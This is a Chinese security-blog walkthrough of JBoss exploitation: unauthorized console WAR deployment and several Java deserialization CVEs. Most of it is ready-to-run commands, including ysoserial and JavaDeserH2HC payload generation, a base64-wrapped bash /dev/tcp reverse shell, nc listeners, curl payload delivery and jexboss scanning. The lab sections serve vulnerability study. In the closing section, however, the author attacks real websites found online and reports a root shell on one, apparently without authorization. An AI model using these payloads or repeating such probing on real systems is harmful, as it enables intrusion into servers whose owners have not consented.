freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

漏洞复现 :JBoss漏洞总结
2021-11-27 10:38:32

Jboss未授权访问漏洞合集

JBoss 4

使用vulnhub提供的环境

地址:Vulhub - Docker-Compose file for vulnerability environment

搭建环境完成后打开

1637204570_6195c25a2f4973e3957a1.png!small?1637204571636

打开控制台

1637204576_6195c260a101273d9a038.png!small?1637204577673

这里用vulnhub搭建的环境是需要密码的,密码为admin:admin,但是我们模拟的环境是未授权访问,也就是不用密码就能登陆控制台,所以就假设不需要密码吧,密码文件:server/default/conf/props/jmx-console-users.properties

进入控制台后找到

1637204582_6195c26688636560484b2.png!small?1637204583492

打开后找到addurl栏,这里有两个栏,一个是java.net.url,另一个是java.net.string,似乎不管是那个都可以1637204588_6195c26c7b6db844d3566.png!small?1637204589494

点击invoke后显示

1637204595_6195c273712508f7f6e41.png!small?1637204596555

我在这里出现了问题,不管怎么上传都找不到这个地址,所以下面就只写一下过程

有一些文章里面写了要返回页面点击apply change

1637204610_6195c282861326a7a4eea.png!small?1637204612133

理论上如果成功上传后,在控制台页面的jboss.web.deployment会显示包

1637204616_6195c288cf0e55f74c831.png!small?1637204618062

如果部署成功,就可以打开包页面,假设刚才上传的包名为shell.war,所以要打开:8080/shell/,然后就会看到包里面的内容,如果里面有一个名为hack.jsp的木马,那么我们就可以打开:8080/shell/hack.jsp,然后连接即可

经过查看本地文件,发现并没有上传,没有流量经过,不知道是服务器问题还是环境问题,但是方法就是这样的

Jboss6

流程和4差不多,只不过页面不一样了

环境搭建:Vulhub - Docker-Compose file for vulnerability environment

搭建完后打开,同样打开JMX Cpnsole,这里一样是有密码的,密码为admin:vulhub,密码文件路径:/server/default/conf/props/jbossws-users.properties

1637204631_6195c2970b049a36d4bc0.png!small?1637204632228

1637204818_6195c352a67c134396154.png!small?16372048200531637204825_6195c35940d157e0d33b4.png!small?1637204826290

然后把页面拉到最下面,找到两个deploy的标签,在框内输入war包的地址,然后点击invoke

1637204834_6195c36271598982038e6.png!small?1637204835635

然后和jboss4一样访问页面即可

这次上传的时候确实有流量了,但是上传的却不完整,所以也没有办法成功复现,我觉得应该是vulnhub的环境问题

JBoss Administration Console

搭建环境:Vulhub - Docker-Compose file for vulnerability environment

适用范围:

JBoss6

首先打开Administration Console,使用vulhub搭建的环境是有密码的,但是我们要模拟的是没有密码或者是弱口令的情况下,所以就直接登入了

密码:admin:vulnhub

登入后打开Web Application (WAR) 页面,上传恶意WAR包

1637204842_6195c36ae51f5fa11fb15.png!small?1637204844536

上传成功后查看一下上传的包是否正常开启,默认是正常开启

1637204849_6195c3713bacd6094d16d.png!small?1637204850333

1637204855_6195c37729a60141fa0ae.png!small?1637204856311

如果不开启则要手动开启

1637204862_6195c37ecbe6797a0071d.png!small?1637204863957

然后访问8080/hack/hack.jsp即可,路径为war内文件名

msf成功反弹shell

1637204870_6195c386afa0d5c569fbb.png!small?1637204871698

JBOSS反序列化漏洞合集

由于反序列化漏洞的攻击方式都是一样的,只是漏洞发生的文件和成因不同,所以就以JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)为例子过一遍流程

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

该漏洞存在于http invoker组件的ReadOnlyAccessFilter的doFilter中,在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化

1637204893_6195c39d6242248b3fb44.png!small?1637204895431

使用环境:Vulhub - Docker-Compose file for vulnerability environment

漏洞验证:

访问:8080/invoker/readonly,页面返回状态码500说明存在漏洞

1637204903_6195c3a7afb963ba206bc.png!small?1637204905098

使用JavaDeserH2HC攻击

使用工具JavaDeserH2HC

下载地址:joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC). (github.com)

首先先设置监听

nc -lvp 6969

1637204911_6195c3afef21f149e7b41.png!small?1637204913024

然后使用刚才下载的工具进行反弹shell

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java //生成序列化数据ReverseShellCommonsCollectionsHashMap.ser java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.200.4:6969 //以二进制格式发送ReverseShellCommonsCollectionsHashMap.ser包 curl http://192.168.200.4:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

1637204946_6195c3d219e396a129224.png!small?1637204947779

这是可以看到反弹shell了

1637204950_6195c3d6a39ee5c3f856a.png!small?1637204951771

发现有很多命令是没有回显的

使用ysoserial反弹Shell

注意:此方法测试前先设置监听,然后在运行反弹shell的语句,看看是否执行正常,我的kali由于无法执行‘bash -i >& /dev/tcp/攻击者IP/1234 0>&1命令’导致无法使用反弹shell的语句,浪费了大量的时间

其实原理和上面的方法是一样的,就是生成一个序列化的数据然后发送报文,让其自动反序列化,只不过反弹的语句可控

将需要的反序列化命令通过网站加编码一次,网站地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

命令

bash -i >& /dev/tcp/192.168.200.42/6969 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}

1637204977_6195c3f11db4929ee90d4.png!small?1637204978221

使用ysoseriall和CommonsCollections5来生成序列化数据,下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser

然后就会生成一个hack.ser在文件夹下,把里面的内容作为poc,使用curl命令上传内容,当然要先设置监听

curl http://192.168.200.42:8080/invoker/readonly --data-binary @hack.ser

1637204995_6195c403dd01d5d57a55a.png!small?1637204997851

1637205001_6195c409dd1e08e25dd8d.png!small?1637205003150

最后针对此漏洞再推荐几个脚本:

yunxu1/jboss-_CVE-2017-12149: CVE-2017-12149 jboss反序列化 可回显 (github.com)

sevck/CVE-2017-12149: CVE-2017-12149 JBOSS as 6.X反序列化(反弹shell版) (github.com)

都可以免去大量的步骤达到同样的效果

防护

删除http-invoker.sar组件,路径如下jboss-6.1.0.Final\server\default\deploy\http-invoker.sar

升级JBoss

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

原理其实和上面的差不多,流程也差不多

使用vulhub提供的环境:Vulhub - Docker-Compose file for vulnerability environment

原理

JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

影响版本

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10

JBoss AS (Wildly) 6 and earlier

JBoss A-MQ 6.2.0

JBoss Fuse 6.2.0

JBoss SOA Platform (SOA-P) 5.3.1

JBoss Data Grid (JDG) 6.5.0

JBoss BRMS (BRMS) 6.1.0

JBoss BPMS (BPMS) 6.1.0

JBoss Data Virtualization (JDV) 6.1.0

JBoss Fuse Service Works (FSW) 6.0.0

JBoss Enterprise Web Server (EWS) 2.1,3.0

攻击

首先搭建环境,搭建完后打开页面

1637205027_6195c423104ee6320075b.png!small?1637205028291

漏洞验证

访问:8080/invoker/JMXInvokerServlet,返回如下页面,说明接口开放,此接口存在反序列化漏洞。设置好监听,用来接收shell

1637205034_6195c42a158aeb710bfd6.png!small?1637205035553

使用工具JavaDeserH2HC

下载地址:joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC). (github.com)

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
//生成序列化数据ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.200.4:6969
//以二进制格式发送ReverseShellCommonsCollectionsHashMap.ser包
curl http://192.168.200.4:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

反弹成功

1637205050_6195c43a802b6badca686.png!small?1637205051564

同样发现有很多命令是没有回显的,如果想要使用回显可以使用CVE-2017-12149的第二种方法,也可以使用一些自动化工具,比如

https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

适用范围:

Jboss AS 4.x及之前版本

漏洞环境:

Vulhub - Docker-Compose file for vulnerability environment

漏洞验证:

访问/jbossmq-httpil/HTTPServerILServlet,出现以下页面代表存在漏洞

1637205059_6195c4439c3f6fa6e59dd.png!small?1637205060688

攻击

攻击时方式和前几个一样,先生成一个序列化数据,然后通过包发送,生成方式一样

使用ysoseriall和CommonsCollections5来生成序列化数据,下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)

将需要的反序列化命令通过网站加编码一次,网站地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

bash -i >& /dev/tcp/192.168.200.42/6969 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser

然后就会生成一个hack.ser在文件夹下,把里面的内容作为poc,使用curl命令上传内容,当然要先设置监听

curl http://192.168.200.42:8080/invoker/readonly --data-binary @hack.ser

由于过程和上面的一摸一样我就不细写了

反弹shell

1637205083_6195c45b2a787ed2f0717.png!small?1637205084382

JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)

影响版本:

jboss 6.x 版本

漏洞验证:

访问/invoker/EJBInvokerServlet,如果如下图所示代表存在此漏洞

1637205092_6195c4640756454dec0ff.png!small?1637205093253

使用ysoserial反弹Shell

注意:此方法测试前先设置监听,然后在运行反弹shell的语句,看看是否执行正常,我的kali由于无法执行‘bash -i >& /dev/tcp/攻击者IP/1234 0>&1命令’导致无法使用反弹shell的语句,浪费了大量的时间

其实原理和上面的方法是一样的,就是生成一个序列化的数据然后发送报文,让其自动反序列化,只不过反弹的语句可控

将需要的反序列化命令通过网站加编码一次,网站地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

命令

bash -i >& /dev/tcp/192.168.200.42/6969 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}

1637205106_6195c47273618c7ed09f1.png!small?1637205107483


使用ysoseriall和CommonsCollections5来生成序列化数据,下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser

然后就会生成一个hack.ser在文件夹下,把里面的内容作为poc,使用curl命令上传内容,当然要先设置监听

curl http://192.168.200.42:8080/invoker/EJBInvokerServlet --data-binary @hack.ser

由于过程和上面的一摸一样我就不细写了

反弹shell

1637205125_6195c4851e043a8e3c7a8.png!small?1637205126348

自动化工具

一个是jboss全反序列化漏洞检测的,使用方法就不介绍了,全中文+图形界面

下载地址:https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

JexBoss工具,可以用来检测弱口令和反序列化

下载地址:joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool (github.com)

首先先设置监听,设置监听后启动工具

python ./jexboss.py -host http://192.168.200.43:8080/

首先会先扫描是否存在漏洞,然后验证未授权漏洞

1637205140_6195c494c7cfe7e47fcc6.png!small?1637205142248

未授权漏洞验证失败后验证反序列化漏洞

1637205147_6195c49b330df276a73f4.png!small?1637205148488

如果成功执行输入监听的ip的端口反弹shell

1637205152_6195c4a0226e000879ca5.png!small?1637205153330

实战

找到了一个使用Jboss的网站

1637205159_6195c4a7c656dc30104fb.png!small?1637205161011

直接访问该网站的/invoker/EJBInvokerServlet页面,发现返回文件,确定含有漏洞

1637205164_6195c4ac9cb469a8ce9a7.png!small?1637205165748

直接使用ysoseriall和CommonsCollections5来生成序列化数据,监听本机的端口,然后发送成功反弹shell

1637205169_6195c4b1ef0e1a2b60b04.png!small?1637205171032

而且运气很好拿到的shell是root权限的

还找到了另外一个网站,对漏洞进行测试

1637205177_6195c4b98660b187efded.png!small

访问:8080/invoker/readonly,返回状态码500

1637205183_6195c4bf271c84e191fc7.png!small?1637205184377

访问/invoker/JMXInvokerServlet,返回下载,说明漏洞存在

1637205188_6195c4c40f4b4f1111394.png!small?1637205189004

访问/jbossmq-httpil/HTTPServerILServlet显示页面,说明含有漏洞

1637205192_6195c4c8dd2e82f237808.png!small?1637205193861

访问/invoker/EJBInvokerServlet,返回下载,说明有漏洞

1637205198_6195c4ce3993535759aaf.png!small?1637205199234

不过最后并没有成功反弹shell猜测原因应该是因为目标系统执行bash命令有问题,导致命令无法正常执行。

# 渗透测试 # jboss漏洞 # 漏洞分析 # 漏洞复现
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录